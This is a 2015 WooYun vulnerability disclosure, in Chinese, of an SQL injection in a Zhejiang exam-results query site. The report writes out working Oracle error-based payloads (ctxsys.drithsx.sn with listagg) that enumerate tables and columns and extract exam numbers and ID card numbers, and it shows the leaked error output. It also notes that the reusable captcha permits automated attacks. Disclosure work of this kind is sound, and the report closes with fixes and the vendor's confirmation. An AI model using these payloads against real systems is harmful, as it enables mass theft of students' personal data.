当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098739

漏洞标题:浙江省教育考试院某查询系统SQL注射漏洞(可泄漏全浙江省考生上百万身份证信息)

相关厂商:浙江省教育考试院

漏洞作者: SHENXN

提交时间:2015-02-28 14:26

修复时间:2015-04-14 14:28

公开时间:2015-04-14 14:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-28: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商已经确认,细节仅向厂商公开
2015-03-14: 细节向核心白帽子及相关领域专家公开
2015-03-24: 细节向普通白帽子公开
2015-04-03: 细节向实习白帽子公开
2015-04-14: 细节向公众公开

简要描述:

SQL注射,可获取数据库全部信息,可查询任意用户信息(全浙江省考生上百万身份证、学籍号、姓名信息)

详细说明:

SQL注射入口:http://cx.zjzs.net/exam/SSYJS2015/
数据库:ORACLE
没有进行任意SQL注入防护,同时会显示SQL错误信息。由于后端进行了二次验证无法直接登陆他人账号,但是可以给函数传入子查询结果报错,查看到信息。同时通过listagg函数可以同时获取到大量信息,可供拖库。

漏洞证明:

SQL注射入口:http://cx.zjzs.net/exam/SSYJS2015/

QQ截图20150228140025.png


在准考证号处填入注入语句,身份证号处随意填写,验证码处正确填写(此处验证码可多次使用,可用于自动化攻击,未实验)
首先注入:

' or 1=ctxsys.drithsx.sn(1,(select listagg(table_name, ';') within group (order by table_name) from user_tables))--


得到报错信息:

ORA-20000: Oracle Text error: ORA-06502: PL/SQL: numeric or value error: character string buffer too small DRG-11701: thesaurus DKDZ2014;DKDZ2014LQ;DKDZMCH2014;EXAM_ADMIN;EXAM_CATEGORY;EXAM_CHILDCATEGORY;EXAM_FIELDS;EXAM_PROJECTS;EXAM_TEMPLATE;GKCX2014;GKCXMCH2014;GKCXMCH22014;GKCXMCH32014;GKCXMCHYSTY2014;GKCXMCHYSTY22014;GXJXTJ22014;JXTJ2014;KSYZPBS2014;MSZYCJ2015;PTGX2014LQ;SSYJS2015;SXKS201401;SXKS20149CJ;SXKS20149DD;SYKS20147;SZB2014ZY;XXJSDD201403;XYKS201501;ZSB2014;ZSB2014CJ does not exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at "CTXSYS.DRITHSX", line 540 ORA-06512: at line 1


其中包含所有数据表名称,此处任选一次最近的考试进行尝试(其中还有大量不得了的数据库没有进入),选择表XYKS201501,这是最近一次学业水平考试成绩
然后注入语句:

' or 1=ctxsys.drithsx.sn(1,(select listagg(column_name, ';') within group (order by table_name) from user_tab_columns where table_name='XYKS201501'))--


同理错误信息:

ORA-20000: Oracle Text error: DRG-11701: thesaurus DL;HX;LS;SFZH;SW;SX;WL;XM;YW;YY;ZKZH;ZZ does not exist ORA-06512: at "CTXSYS.DRUE", line 160 ORA-06512: at "CTXSYS.DRITHSX", line 540 ORA-06512: at line 1


然后我们知道了这张表所有字段,其中ZKZH(准考证号),SFZH(身份证号)可用于正常进入查询系统,然后进行如下注入(由于listagg限制,无法一次性输出所有数据,会提示字符串过长):

' or 1=ctxsys.drithsx.sn(1,(select listagg(zkzh, ';') within group (order by zkzh) from xyks201501 where rownum<=10))--


这样就得到前10个人的准考证号

' or 1=ctxsys.drithsx.sn(1,(select listagg(sfzh, ';') within group (order by zkzh) from xyks201501 where rownum<=10))--


然后有了身份证号(由于安全原因不呈现),这样就可以正常方法登陆查询成绩了

QQ截图20150228141312.png


同时,该漏洞导致可获取全浙江省各场考试考生的个人信息。

修复方案:

建议使用字段绑定的方法进行SQL查询,防止SQL注射漏洞。
同时应改进验证码策略,一个验证码应只能验证一次

版权声明:转载请注明来源 SHENXN@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-03-04 13:58

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给浙江分中心,由其后续协调网站管理单位处置。

最新状态:

暂无